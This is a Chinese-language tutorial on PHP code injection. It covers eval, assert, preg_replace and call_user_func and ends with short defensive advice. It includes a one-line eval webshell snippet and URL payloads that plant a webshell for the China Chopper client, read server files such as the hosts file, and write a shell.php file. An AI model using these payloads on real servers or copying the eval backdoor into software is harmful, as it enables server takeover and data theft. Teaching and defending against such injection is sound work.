代码（执行）注入

一、PHP代码注入 

代码注入（执行）是指应用程序过滤不严，用户可以通过请求将代码注入到应用中执行。类似于SQL注入，不同的是，SQL注入到数据库执行，而代码执行将注入到应用中最终由服务器运行它。相当于直接有一个web后门的存在。常见的是远程代码执行，简称RCE。

原因：

1.程序中含有可以执行php代码的函数或者语言结构。

2.传入第一点中的参数，客户端可控，直接修改或者影响。

危害：可以继承web用户权限，执行任意代码。读写目标服务器任意文件，控制整个服务器。

二、相关函数语句

1.eval()

eval()会将字符串当作php代码执行。

测试代码(一句话木马)：

<?php
if(isset($_REQUSET['code'])){
	@$str=$_REQUEST['code'];
	eval($str);
}
?>

注： request   预定义超全局数组变量，get、post、cookie传参在request下都能接收的到。

传参方式，在URL路径后面加上：

?code=phpinfo();     或者     ?code=${phpinfo()} ;    或者     ?code=1;phpinfo();

eval()函数可执行多条件语句，在后面加   ;   执行。

2.assert()

同样作为php代码执行

3.preg_replace()

对字符串进行正则处理。

4.call_user_func()

有调用其他函数的功能，该函数的第一个值作为回调函数，后面的值作为回调函数的参数。

5.动态函数：$a($b)

由直接拼接的方式调用

三、漏洞利用

1.直接获取shell

提交参数[?code=@eval($_post[1]);]，即可构成一句话木马，密码为[1]，可使用菜刀连接。

2.获取当前文件的绝对路径

__FILE__是PHP  预定义常量，其含义是当前文件的路径，提交代码[?code=print(__FILE__);]

3.读文件

利用file_get_contents()函数读取服务器任意文件，前提是知道目标文件路径和读取权限。

提交代码：

?code=var_dump(file_get_contents('c:\windows\system32\drivers\etc\hosts'));

读取服务器hosts文件。

4.写文件

利用file_put_contents()函数，写入文件。前提是知道可写目录。

提交代码：

?code=var_dump(file_put_contents($_POST[1],$_POST[2]));

要借助hackbar工具post提交参数

1=shell.php&2=<?php phpinfo()?>

即可在当前目录下创建一个文件shell.php

四、防御方法

1.尽量不要使用eval等函数

2.如果使用的话一定要严格过滤

3.preg_replace放弃使用/e修饰符

4.disable_functions=assert